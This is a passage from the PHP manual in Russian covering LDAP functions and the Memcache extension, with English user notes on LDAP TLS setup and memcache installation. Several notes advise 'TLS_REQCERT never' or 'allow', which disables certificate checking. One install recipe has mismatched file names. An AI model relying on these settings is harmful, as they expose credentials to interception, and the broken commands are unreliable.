They had to be .pfx or .cer
(I don't even know which one worked. I converted the .pem to both and called it done.)

2)
In /etc/openldap/ldap.conf you must:
Either set TLS_CACERT /etc/openldap/cacerts/YOURCERT.pfx
Or set TLS_CACERTDIR /etc/openldap/cacerts/
The first one constrains you to a specific cert.
The latter tries all of them in the directory.

3)
You have various options for TLS_REQCERT:
allow (use it if you need it)
require (must have a cert)
You'll have to read openldap docs for the rest.
I used allow, and it worked.
ymmv

4)
I did not change anything in the (very long) default /etc/ldap.conf file

5)
I did not change anything in the self-documenting /etc/autofs_ldap_auth.conf
Mainly because I just found it while typing this up, and I have no idea what it does.  Presumably 'autofs' implies you can mount some LDAP server as a mount point or something at boot... Sounds funky to me, but knock yourself out playing with it.

This was all with various versions of PHP ranging from 5.2 to 5.3  No promises about other versions.

6)
ldapsearch -VV says it's 2.3.43
Dunno if that comes with openldap or I downloaded it separately. Long time ago.  Very handy CLI tool for mucking around without PHP in the middle, so you can cross-check that it's PHP or not.
schmunk at usrbin dot de 26-Sep-2011 03:37
PHP Warning:  ldap_start_tls(): Unable to start TLS: Operations error in /path/to/script.php

Do not use ldap_start_tls() if you've already connected to the LDAP Server via SSL e.g. "ldaps://hostame".
T. Le Meur 19-Oct-2010 06:11
Note that, on Windows, due to a bug in the php_ldap extension for php 5.3.2, the location of the ldap.conf may change.

In this case, PHP expects the ldap.conf file to be in the root filesystem where the Webserver Document root is installed (for instance C:\ldap.conf).

This seems to be fixed in PHP 5.3.3RC1

See the following bug reference:
http://bugs.php.net/bug.php?id=48866
victoriano at uma dot es 14-Jun-2010 12:00
ldaps:// (on port 636) is NOT the same as using STARTTLS on port 389.

The second method upgrades the security of a plain connection to an encrypted channel, which is strongly recommended for plain binding (DN/password).
josselin dot dulac at enscm dot fr 29-Jan-2010 07:19
Note : if you are using OpenLdap client > v2 and PHP > 4.0.4, you don't have to use that function. You just have to specify it using
<?php
ldap_connect("ldaps://yourhostname", 636);
?>

If you use both ldaps:// uri and ldap_start_tls function, you'll get a warning saying that a TLS/SSL session is already open.
jcarlos at dsi dot uclm dot es 01-Dec-2009 05:10
Tested in Linux, ubuntu 9.10, PHP/5.2.10-2 and Apache/2.2.1.2

INTEGRATING ACTIVE DIRECTORY WITH PHP-LDAP AND TLS IN LINUX
=============================================================

I'm not an expert, but it works.

1)I have installed ubuntu 9.10 desktop

2)Packages:
 apt-get install apache2
 apt-get install libapache2-mod-php5
 apt-get install libldap-2.4-2
 apt-get install ldap-utils
 apt-get install libsasl2-modules-ldap
 apt-get install openssl
 apt-get install libsasl2-2
 apt-get install libkrb5-3
 apt-get install php5-ldap
 apt-get install php5-sasl
 apt-get install php5-auth-pam

3)Put the PEM certificate.
 cd /etc/ldap
 mkdir certs
 copy /myhome/mycert.pem /etc/ldap/certs/mycert.pem
 NOTE:webcert.crt rename to mycert.pem. It's the same

4)Edit the file /etc/ldap/ldap.conf and Add:
  TLS_REQCERT never
  TLS_CACERT /etc/ldap/certs/mycert.pem

5)Create file /var/www/ldaptlstest.php:

<?php

   $ldap="ldap.myDomain.com";
   $usr="user@myDomain.com";
   $pwd="mypassword";

   $ds=ldap_connect($ldap);
   $ldapbind=false;
   if(ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3))
      if(ldap_set_option($ds, LDAP_OPT_REFERRALS, 0))
         if(ldap_start_tls($ds))
               $ldapbind = @ldap_bind($ds, $usr, $pwd);
   ldap_close($ds);

   if(!$ldapbind)
      echo "ERROR";
   else
      echo "OK";
?>

6)Restart the server: /etc/init.d/apache2 restart

7)Open Firefox and write: http://localhost/ldaptlstest.php
;)
jcarlos at dsi dot uclm dot es 26-Nov-2009 03:04
INTEGRATING ACTIVE DIRECTORY WITH PHP-LDAP AND TLS
==================================================

My configuration:
Apache/2.2.14 (Win32) mod_ssl/2.2.14 OpenSSL/0.9.8k PHP/5.2.11

NOTE 1: At the momment, the version 5.3.1 fail with tls
NOTE 2: This example works on windows, but in linux is similar

1) Download the Certificate X.509 (PEM format) from a web browser, I used Firefox. I put the name webcert.crt
2) Create the folder c:\openldap\sysconf
3) Copy the file webcert.crt to c:\openldap\sysconf
4) With notepad you must create the file c:\openldap\sysconf\ldap.conf file. The file contents:
TLS_REQCERT never
TLS_CACERT c:\openldap\sysconf\webcert.crt
5) The code:

<?php
   $ldap="ldap.myDomain.com";
   $usr="user@myDomain.com";
   $pwd="mypassword";

   $ds=ldap_connect($ldap);
   $ldapbind=false;
   if(ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3))
      if(ldap_set_option($ds, LDAP_OPT_REFERRALS, 0))
         if(ldap_start_tls($ds))
               $ldapbind = @ldap_bind($ds, $usr, $pwd);
   ldap_close($ds);
   if(!$ldapbind)
       echo "ERROR";
   else
       echo "OK";
?>
pataisjsu at Yahoo.com 15-Nov-2007 02:55
I seemingly take forever to make use of ldap_start_tls work.
Especially lacking in document, I was frustrate and almost gave up until I saw this link in the php forum.
I thought it is worth for put the link in here.

http://marc.info/?l=php-windows&m=116127873321748&w=2

it is really work, and it saves me.
technosophos 06-Mar-2007 12:53
If your version was linked against the OpenLDAP libraries, you may want to look at the ldap.conf file for more information about specifying SSL/TLS behavior. Apparently, the settings in ldap.conf make a different in the way SSL/TLS is handled by PHP.
on at cs dot ait dot ac dot th 07-Aug-2006 12:00
More on TLS start.

It seems that either you ldap_connect to ldaps://, port 636 or you ldap_tls_start.

In my case, using ldaps on port 636 (to be sure I enforce TLS) the connection will go like:

$LDAP_SERVER="ldaps://ldap.../";
$LDAP_PORT=636;

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
     fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
   }
/*** NO NEED ***
*   if (!ldap_start_tls($ds)) {
*      exit;
*   }
***/
   // now we need to bind anonymously to the ldap server
   $bth = ldap_bind($ds);
   //make your query
bill at strosberg dot com 13-Apr-2005 10:42
Please note there is a difference between ldaps and start-TLS for ldap.  start-TLS uses port 389, while ldaps uses port 636.  ldaps has been deprecated in favour of start-TLS for ldap.  Both encrypted (start-TLS ldap)  and unencrypted ldap (ldap) run on port 389 concurrently.

Errors encountered are generally due to misunderstanding how to implement TLS-encrypted ldap.
claar at no dot spam dot ksu dot edu 28-Jun-2004 03:10
Note that (in my very limited experience) you cannot use the ldaps protocol with tls, or ldap_start_tls() will report "ldap_start_tls(): Unable to start TLS: Operations error", and ldap_error() will return error code 1.

I found that I had to call ldap_connect() with ldap:// rather than ldaps:// for ldap_start_tls() to succeed.  Hope this helps someone!
wirges-at-cerias.purdue.edu 22-Jul-2002 08:19
It should be mentioned, that TLS connections for LDAP *REQUIRE* you to use LDAP Protocol version 3.  By default, PHP uses Protocol 2.
Therefore, if you do not know this, you may be puzzled as to why you get "TLS not supported" error.

To get around this, just use ldap_set_option to make the LDAP connection use Protocol 3 (if supported).

For example:

$ds = ldap_connect($LDAP_SERVER,$LDAP_PORT);
if ($ds) {
   if (!ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
      fatal_error("Failed to set LDAP Protocol version to 3, TLS not supported.");
    }
    if (!ldap_start_tls($ds)) {
       fatal_error("Ldap_start_tls failed");
    }
    // now we need to bind anonymously to the ldap server
    $bth = ldap_bind($ds);
    //make your query
}


Переводит символы из кодировки t61 в ISO-8859

  • « ldap_start_tls
  • ldap_unbind »
  • PHP Manual
  • Функции LDAP
  • Переводит символы из кодировки t61 в ISO-8859

ldap_t61_to_8859

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ldap_t61_to_8859 — Переводит символы из кодировки t61 в ISO-8859

Описание

ldap_t61_to_8859(string $value): string|false
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

jrble819 at gmail dot com 29-Jan-2016 08:51
This function doesn't appear to exist in PHP 7 even though the docs say it's in PHP 7
14-Apr-2004 07:47
Indeed, utf is the way to go as soon as you use non-english text, if you required portability. Don't forget to utf5_encode either.
The t61_8859 functions seem to be deprecated.


Разорвать привязку к директории LDAP

  • « ldap_t61_to_8859
  • LDAP\Connection »
  • PHP Manual
  • Функции LDAP
  • Разорвать привязку к директории LDAP

ldap_unbind

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_unbind — Разорвать привязку к директории LDAP

Описание

ldap_unbind(LDAP\Connection $ldap): bool

Разрывает привязку к LDAP-директории.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .

Смотрите также

  • ldap_bind() - Привязать к LDAP директории

User Contributed Notes

kmenard at wpi dot edu 29-Nov-2001 11:47
ldap_unbind kills the link descriptor.  So, if you want to rebind as another user, just bind again; don't unbind.  Otherwise, you'll have to open up a new connection.


Класс LDAP\Connection

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс ldap в PHP 8.1.0.

Обзор классов

final class LDAP\Connection {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс LDAP\Result

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс ldap result в PHP 8.1.0.

Обзор классов

class LDAP\Result {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс LDAP\ResultEntry

(PHP 8 >= 8.1.0)

Введение

Полностью непрозрачный класс, заменяющий ресурс ldap result entry в PHP 8.1.0.

Обзор классов

final class LDAP\ResultEntry {
}

User Contributed Notes

There are no user contributed notes for this page.


Memcache

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
    • Базовое использование
  • Memcache — Класс Memcache
    • Memcache::add — Добавить элемент с указанным ключом
    • Memcache::addServer — Добавляет сервер memcached в пул соединений
    • Memcache::close — Закрыть соединение с сервером memcached
    • Memcache::connect — Открывает соединение с сервером memcached
    • Memcache::decrement — Декрементировать значение элемента
    • Memcache::delete — Удалить элемент с сервера
    • Memcache::flush — Сбросить все существующие элементы на сервере
    • Memcache::get — Извлечь элемент с сервера
    • Memcache::getExtendedStats — Получить статистику со всех серверов в пуле
    • Memcache::getServerStatus — Возвращает статус сервера
    • Memcache::getStats — Получить статистику сервера
    • Memcache::getVersion — Вернуть версию сервера
    • Memcache::increment — Увеличить значение элемента
    • Memcache::pconnect — Открывает постоянное соединение с сервером memcached
    • Memcache::replace — Заменить значение существующего элемента
    • Memcache::set — Сохранить данные на сервере
    • Memcache::setCompressThreshold — Включить автоматическое сжатие для больших значений
    • Memcache::setServerParams — Изменяет параметры сервера и статус во время выполнения
  • Функции Memcache
    • memcache_debug — Включить/выключить вывод отладочной информации

User Contributed Notes

rob4226 at yahoo dot com 06-Nov-2021 06:53
Thanks to nono303 on GitHub we can run this PHP extension and memcached on Windows!  This is great for a dev environment to match a production unix server. I am using PHP 8.0 with this memcache extension on a Windows 10 box with a memcached server running on localhost and it is working great.

I can't post a link but the dll for this extension is at the repo: nono303/PHP-memcache-dll

And the actual memcached server for windows is at the repo: nono303/memcached
Lajos Veres 06-Mar-2018 05:30
3.0.8 is not really compatible with PHP 7, but this fork seems to be working:
https://github.com/websupport-sk/pecl-memcache

For new projects, memcacheD sounds safer, but this fork might help to keep  alive some legacy projects.

Debian package manager chose this version: https://github.com/websupport-sk/pecl-memcache/commit/4991c2fff22d00dc81014cc92d2da7077ef4bc86

Based on this:
http://ppa.launchpad.net/ondrej/php/ubuntu/pool/main/p/php-memcache/ https://packages.debian.org/sid/php/php-memcache
xrobau at gmail dot com 07-Sep-2017 01:35
Note that the Memcache 3.0.8 module DOES NOT WORK WITH PHP 7 (or higher)

There is an open bug about this - see https://bugs.php.net/bug.php?id=72887 and over 1 year old at time of writing - however, it appears that development of this module has been abandoned and the MemcacheD module is now the only way to access Memcache through PHP.

If you are writing a NEW tool, and you want to use Memcache, use the MemcacheD library.  If you are trying to repair an old tool, you'll either have to stick with PHP 5.6, or, spend the time reworking your code to use MemcacheD.
Anonymous 23-Feb-2015 08:25
I ran Gabriel's test above and had different results. I did find differences in the objects. For instance:
  'val' => string(7) "4542.32"
  'valD' => double(4542.32)

But, I think this could be resolved. Fairly easily.

 The main issue with the test was that one port is used. I ran another instance of memcached on a different port and changed the code slightly.  I used this code and had better success:

$servers = array(array('localserv', 11212));
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer('localserv', 11211);
$memcacheD->addServers($servers);
$memcacheD->setOption(Memcached::OPT_BINARY_PROTOCOL, true);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    } else {
        print "WAS COMPAT\n";
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    } else {
        print "WAS COMPAT\n";
    }
}
gabriel dot maybrun at demandmedia dot com 04-Sep-2014 11:58
GOTCHA: Recently I was tasked with moving from PECL memcache to PECL memcached and ran into a major problem -- memcache and memcached serialize data differently, meaning that data written with one library can't necessarily be read with the other library.

For example, If you write an object or an array with memcache, it's interpreted as an integer by memcached.  If you write it with memcached, it's interpreted as a string by memcache.

tl;dr - You can't safely switch between memcache and memcached without a either a cache flush or isolated cache environments.

<?php
$memcache = new Memcache;
$memcacheD = new Memcached;
$memcache->addServer($host);
$memcacheD->addServers($servers);

$checks = array(
    123,
    4542.32,
    'a string',
    true,
    array(123, 'string'),
    (object)array('key1' => 'value1'),
);
foreach ($checks as $i => $value) {
    print "Checking WRITE with Memcache\n";
    $key = 'cachetest' . $i;
    $memcache->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }

    print "Checking WRITE with MemcacheD\n";
    $key = 'cachetest' . $i;
    $memcacheD->set($key, $value);
    usleep(100);
    $val = $memcache->get($key);
    $valD = $memcacheD->get($key);
    if ($val !== $valD) {
        print "Not compatible!";
        var_dump(compact('val', 'valD'));
    }
}


Введение

Модуль Memcache предоставляет удобный процедурный и объектно-ориентированный интерфейс к memcached, высокоэффективному кеширующему демону, который был специально разработан для снижения нагрузки на базу данных в динамических веб приложениях.

Модуль Memcache также предоставляет дескриптор сессий (memcache).

Больше информации о memcached вы сможете найти на » http://www.memcached.org/.

User Contributed Notes

vidux dot me at gmail dot com 20-Jul-2021 11:36
i have faced a error when install Memcached.
"Memcached" class not found. im using php 7.4 with apache server on ubuntu 20.04. this is how i fixed it.. hope someone can help it.

first i installed

sudo apt install memcached libmemcached-tools

then check service status
sudo systemctl status memcached

then install php-memcached
sudo apt-get install -y php-memcached

and lastly
sudo apt-get install php7.4-memcached

then restarted Apache:
sudo service apache2 restart


Требования

Этот модуль использует функции » zlib для поддержки сжатия "на лету". В связи с этим Zlib необходим для установки данного модуля.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP. Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/memcache.

Замечание:

Существует возможность запретить использование memcache в качестве обработчика сессий (session handler). Команда 'pecl install' выдаёт об этом запрос (по умолчанию включено). Кроме того, при статической компиляции в PHP для этой цели возможно использование опции конфигурации --disable-memcache-session.

User Contributed Notes

sidi dot khalifa at live dot fr 30-Jul-2021 07:16
I hope this will help someone,
Context: I wanted to use memcache
like this:

$memcache = new \Memcache();

but composer suggests me to install the extension
  "ext-memcache": "*",

but that one didn't want to work, so I installed

sudo apt install php7.4-memcache
sudo apt install php7.4-memcached

and all worked
andryzeus at ukr dot net 06-Jan-2012 02:10
If you have error with libtool version after make - way to install:
phpize --clean && phpize
rm aclocal.m4
aclocal
autoconf
./configure
make
make install
[memcache-2.2.6, gentoo.x86-64]
Felipe Estrella Barros 16-Oct-2011 03:54
On Slackware, after copilling it, you should copy the file /module/memcache.so to /usr/lib/httpd/modules. Then, the instruction extension=memcache.so must be added into the file /etc/httpd/php.ini

Restart the httpd and it should work!
mit at mitayai dot org 19-Apr-2010 12:47
It is very important to note when reading the information supplied by others on this page that there are two *distinct* memcache PHP implementations for the service "memcached".

1) pecl-memcache
2) pecl-memcached

This page is for the first, pecl-memcache.

If you are looking for pecl-memcached information, visit here:

http://www.php.net/manual/en/book.memcached.php
no at spam4me dot com 11-Dec-2009 03:48
#if apt-get, rpm, or yum doesn't work
cd /usr/src/
wget http://pecl.php.net/get/memcache-2.2.4.tgz
tar -zxvf memcached-2.2.4.tgz
cd memcached-2.2.4
phpize && ./configure --enable-memcache && make
cp modules/memcache.so /usr/lib/php/modules/

# Note: packaged extension modules are now loaded via the .ini files
# found in the directory /etc/php.d
touch /etc/php.d/memcached.ini
echo 'extension=memcache.so' > /etc/php.d/memcached.ini

service httpd restart
mykel dot alvis at gmail dot com 18-Jun-2008 08:01
on Fedora, apparently

yum install php-pecl-memcache


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Конфигурационные параметры Memcache
Имя | По умолчанию | Место изменения | Список изменений
memcache.allow_failover | "1" | PHP_INI_ALL | Доступно с memcache 2.0.2.
memcache.max_failover_attempts | "20" | PHP_INI_ALL | Доступно с memcache 2.1.0.
memcache.chunk_size | "8192" | PHP_INI_ALL | Доступно с memcache 2.0.2.
memcache.default_port | "11211" | PHP_INI_ALL | Доступно с memcache 2.0.2.
memcache.hash_strategy | "standard" | PHP_INI_ALL | Доступно с memcache 2.2.0.
memcache.hash_function | "crc32" | PHP_INI_ALL | Доступно с memcache 2.2.0.
memcache.protocol | ascii | >PHP_INI_ALL | Поддерживается с memcache 3.0.0
memcache.redundancy | 1 | >PHP_INI_ALL | Поддерживается с memcache 3.0.0
memcache.session_redundancy | 2 | >PHP_INI_ALL | Поддерживается с memcache 3.0.0
memcache.compress_threshold | 20000 | >PHP_INI_ALL | Поддерживается с memcache 3.0.3
memcache.lock_timeout | 15 | >PHP_INI_ALL | Поддерживается с memcache 3.0.4
Параметры конфигурации сессии, влияющие на поведение Memcache
Имя | По умолчанию | Место изменения | Список изменений
session.save_handler | "files" | PHP_INI_ALL | Поддерживается, начиная с memcache 2.1.2
session.save_path | "" | PHP_INI_ALL | Поддерживается, начиная с memcache 2.1.2
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

memcache.allow_failover bool

Разрешение прозрачного переключения (failover) на другие сервера при возникновении ошибок.

memcache.max_failover_attempts int

Устанавливает число попыток чтения и записи данных. Используется только в сочетании с memcache.allow_failover.

memcache.chunk_size int

Устанавливает размер передаваемых блоков данных. Использование малых значений приводит к повышению сетевой активности. В случае неожиданного замедления работы попробуйте увеличить значение до 32768.

memcache.default_port string

Устанавливает номер TCP-порта по умолчанию для подключения к серверу memcached, если явно не указан иной.

memcache.hash_strategy string

Контролирует стратегию функций отображения ключей на сервера. Установите этот параметр в consistent для включения последовательного хеширования, которое не требует переназначения ключей кеша при добавлении и удалении серверов из пула. Установка же этого параметра в standard приводит к использованию старой стратегии.

memcache.hash_function string

Устанавливает хеш-функцию для отображения ключей на сервера. При значении crc32 будет использоваться стандартный CRC32 хеш, а при fnv - FNV-1a.

memcache.protocol string

memcache.redundancy int

memcache.session_redundancy int

memcache.compress_threshold int

memcache.lock_timeout int

session.save_handler string

Установите этот параметр в memcache для использования memcache в качестве обработчика сессий.

session.save_path string

Устанавливает список адресов серверов, разделённых запятой, для хранений сессий. Например, "tcp://host1:11211, tcp://host2:11211".

Каждый адрес может содержать параметры, аналогичные используемым в методе Memcache::addServer(), которые будут применены сервером. Например, "tcp://host1:11211?persistent=1&weight=1&timeout=1&retry_interval=15"

User Contributed Notes

kross at escapistmag dot com 22-Mar-2010 09:06
There's a currently undocumented variable that is now available (you can see it in php_info()) for session handling:

memcache.session_redundancy

The default seems to be "2", and it is supposed to influence how many copies of a particular session object that Memcache will store for failover purposes (so with a redundancy of 2, it will store a session on 2 different shards).

This will add slight overhead with extra writes, but overall seems worth it for purposes of failover.


Типы ресурсов

Существует всего один тип ресурсов, используемых в модуле memcache - это идентификатор ссылки для подключения к кеш-серверу.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Константы Memcache
Имя | Описание
MEMCACHE_COMPRESSED (int) | Используется для включения сжатия данных "на лету" для следующих методов: Memcache::set(), Memcache::add() и Memcache::replace().
MEMCACHE_HAVE_SESSION (int) | 1, если соединение с Memcache установлено, иначе 0.
MEMCACHE_USER1 (int) | Используется для включения пользовательского флага приложения для Memcache::set(), Memcache::add() и Memcache::replace().
MEMCACHE_USER2 (int) | Используется для включения пользовательского флага приложения для Memcache::set(), Memcache::add() и Memcache::replace().
MEMCACHE_USER3 (int) | Используется для включения пользовательского флага приложения для Memcache::set(), Memcache::add() и Memcache::replace().
MEMCACHE_USER4 (int) | Используется для включения пользовательского флага приложения для Memcache::set(), Memcache::add() и Memcache::replace().

User Contributed Notes

Joan 20-Jan-2010 07:55
MEMCACHE_COMPRESSED=2
Using value of 1 produces serialization errors when retrieving values.


Базовое использование

Пример #1 Пример использования модуля memcache

В этом примере происходит сохранение объекта в кеше и его последующее чтение. Объекты и другие нескалярные типы сериализируются перед сохранением, что делает невозможным хранение ресурсов (например, идентификаторов подключений и др.) в кеше.

<?php

$memcache = new Memcache;
$memcache->connect('localhost', 11211) or die ("Не могу подключиться");

$version = $memcache->getVersion();
echo "Версия сервера: ".$version."<br/>\n";

$tmp_object = new stdClass;
$tmp_object->str_attr = 'test';
$tmp_object->int_attr = 123;

$memcache->set('key', $tmp_object, false, 10) or die ("Ошибка при сохранении данных на сервере");
echo "Данные сохранены в кеше. (время жизни данных 10 секунд)<br/>\n";

$get_result = $memcache->get('key');
echo "Данные из кеша:<br/>\n";

var_dump($get_result);

?>

Пример #2 Использование memcache в качестве обработчика сессий

<?php

$session_save_path = "tcp://$host:$port?persistent=1&weight=2&timeout=2&retry_interval=10, ,tcp://$host:$port ";
ini_set('session.save_handler', 'memcache');
ini_set('session.save_path', $session_save_path);

?>

User Contributed Notes

atesin > gmail 06-Aug-2020 08:20
moderator please merge these posts

an errata to my comment done on 2020-07-28 01:05 about tmpfs session dir...

the tmpfs directory i used to install session files is "/run" not "/tmp"...  as /tmp is auto (or manual) deleted sometimes
atesin > gmail 28-Jul-2020 01:05
memcached is great, is lightning fast, very versatile and useful, scalable, and is a must have for many projects

but if you only want speed to minimize session file blocking there is also a good alternative, tmpfs

https://eddmann.com/posts/storing-php-sessions-file-caches-in-memory-using-tmpfs/

maybe if you are in debian you already had session directory in tmp (mounted as tmpfs), but beware of daily cleaning process that can mess up your sessions

you can use this trick if you are in centos/other (like me) or even if you are in debian but want to get ride of /tmp cleaning task

i realized in my system /run is also mounted as tmpfs, so i shut php-fpm down, moved my php session dir to /tmp/, reconfigure php and start again... (you can adapt it to your situation)

  systemctl stop php-fpm
  cp -a /var/lib/php/session /tmp/php-session
  vim /etc/php-fpm-d/www.conf
  ------
  php_value[session.save_path] = /run/php-session
  ------
  systemctl start php-fpm

the only drawback is tmpfs is VOLATILE, just like memcached (data is lost on unmount/shutdown/power fail), to  circumvent this risk i wrote another service that restores/backup php session dir before/after php starts/stops... (UNTESTED!)

  vim /etc/systemd/system/php-session-backup.service
  ------
  # basic persistence for tmpfs php sessions

  [Unit]
  Description=PHP tmpfs sessions backup/restore on shutdown/boot
  Before=php-fpm.service

  [Service]
  Type=oneshot
  RemainAfterExit=true
  ExecStart=rm -fr /run/php-session
  ExecStart=cp -fa /var/lib/php/session /run/php-session
  ExecStop=rm -fr /var/lib/php/session
  ExecStop=cp -fa /run/php-session /var/lib/php/session

  [Install]
  WantedBy=multi-user.target
  ------
  systemctl enable php-session-backup

you can also complement this with a daily backup task in case of system crash so you will lose just one day

  crontab -e
  ------
  0 4 * * * rm -fr /var/lib/php/session;cp -fa /run/php-session /var/lib/php/session
  ------

this is very rough though, you can better use inotify + rsync, could take some ideas from here

https://blog.jmdawson.co.uk/persistent-ramdisk-on-debain-ubuntu/
dkreuter at gmail dot com 01-Jun-2009 11:45
If the example doesn't work try to change "localhost" to "127.0.0.1".


Класс Memcache

(PECL memcache >= 0.2.0)

Введение

Представляет подключение к набору серверов memcache.

Обзор классов

class Memcache {
add(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool
addServer(
string $host,
int $port = 11211,
bool $persistent = ?,
int $weight = ?,
int $timeout = ?,
int $retry_interval = ?,
bool $status = ?,
callable $failure_callback = ?,
int $timeoutms = ?
): bool
close(): bool
connect(string $host, int $port = ?, int $timeout = ?): bool
decrement(string $key, int $value = 1): int|false
delete(string $key, int $timeout = 0): bool
flush(): bool
get(string $key, int &$flags = ?): string
getExtendedStats(string $type = ?, int $slabid = ?, int $limit = 100): array
getServerStatus(string $host, int $port = 11211): int
getStats(string $type = ?, int $slabid = ?, int $limit = 100): array|false
getVersion(): string|false
increment(string $key, int $value = 1): int|false
pconnect(string $host, int $port = ?, int $timeout = ?): mixed
replace(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool
set(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool
setCompressThreshold(int $threshold, float $min_savings = ?): bool
setServerParams(
string $host,
int $port = 11211,
int $timeout = ?,
int $retry_interval = false,
bool $status = ?,
callable $failure_callback = ?
): bool
}

Содержание

  • Memcache::add — Добавить элемент с указанным ключом
  • Memcache::addServer — Добавляет сервер memcached в пул соединений
  • Memcache::close — Закрыть соединение с сервером memcached
  • Memcache::connect — Открывает соединение с сервером memcached
  • Memcache::decrement — Декрементировать значение элемента
  • Memcache::delete — Удалить элемент с сервера
  • Memcache::flush — Сбросить все существующие элементы на сервере
  • Memcache::get — Извлечь элемент с сервера
  • Memcache::getExtendedStats — Получить статистику со всех серверов в пуле
  • Memcache::getServerStatus — Возвращает статус сервера
  • Memcache::getStats — Получить статистику сервера
  • Memcache::getVersion — Вернуть версию сервера
  • Memcache::increment — Увеличить значение элемента
  • Memcache::pconnect — Открывает постоянное соединение с сервером memcached
  • Memcache::replace — Заменить значение существующего элемента
  • Memcache::set — Сохранить данные на сервере
  • Memcache::setCompressThreshold — Включить автоматическое сжатие для больших значений
  • Memcache::setServerParams — Изменяет параметры сервера и статус во время выполнения

User Contributed Notes

chris at NOSPAM dot xeneco dot co dot uk 09-Jan-2013 09:40
It helps to know that for this extension to work, you need a server with 'Memcached' (a service independent of PHP) installed and running as a service.

The documentation herein refers a lot to 'memcache_host'. This is not an arbitrary string, but should be a host name (eg localhost) or an IP address of a server running memcached.

If you have just installed the php memcache extension then you will not necessarily have memcached installed as well


Добавить элемент с указанным ключом

  • « Memcache
  • Memcache::addServer »
  • PHP Manual
  • Memcache
  • Добавить элемент с указанным ключом

Memcache::add

(PECL memcache >= 0.2.0)

Memcache::add — Добавить элемент с указанным ключом

Описание

Memcache::add(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool

Memcache::add() записывает элемент var с указанным ключом key только если указанный ключ ещё не существует на сервере. Также вы можете использовать функцию memcache_add().

Список параметров

key

Ключ, с которым будет связан элемент.

var

Переменная для сохранения. Строковые и числовые значения сохраняются как есть, а остальные типы сериализируются.

flag

Используйте MEMCACHE_COMPRESSED для записи элемента со сжатием (используется zlib).

expire

Время жизни элемента. Если равно нулю, элемент никогда не устаревает. Также вы можете использовать метку времени Unix или число секунд, начиная с текущего момента, однако, в этом случае число секунд не может быть больше 2592000 (30 дней).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Возвращает false, если такой ключ уже существует. В остальных случаях поведение Memcache::add() аналогично Memcache::set().

Примеры

Пример #1 Пример использования Memcache::add()

<?php

$memcache_obj = memcache_connect("localhost", 11211);

/* процедурное API */
memcache_add($memcache_obj, 'var_key', 'test variable', false, 30);

/* объектно-ориентированное API */
$memcache_obj->add('var_key', 'test variable', false, 30);

?>

Смотрите также

  • Memcache::set() - Сохранить данные на сервере
  • Memcache::replace() - Заменить значение существующего элемента

User Contributed Notes

vasiliy at hotger dot com 13-Feb-2014 07:49
It looks like add() function is truly 100% atomic, and safeadd bicycle mentioned in the other comment is useless. There are few links where developers of Memcahed explained it deeper

http://lists.danga.com/pipermail/memcached/2008-March/006647.html
http://www.serverphorums.com/read.php?9,214222
Davide Renzi 18-Feb-2010 01:16
Race conditions happen on an heavy load server when more than one thread tries to execute memcache_add.
For example if thread A and thread B try to save the same key you can test that sometimes both return TRUE.
To have the right behaviour you can verify that the correct value is in the assigned key:

<?php
function memcache_safeadd(&$memcache_obj, $key, $value, $flag, $expire)
{
    if (memcache_add($memcache_obj, $key, $value, $flag, $expire))
    {
        return ($value == memcache_get($memcache_obj, $key));
    }
    return FALSE;
}
?>
matt 03-Aug-2009 06:39
It's also good to note that add will succeed if the key exists but is expired
ktamas77 at gmail dot com 27-Apr-2009 04:08
skeleton of a thread safe updater for an incremental counter:

<?php

$key = "counter";
$value = $memcache->increment($key, 1);
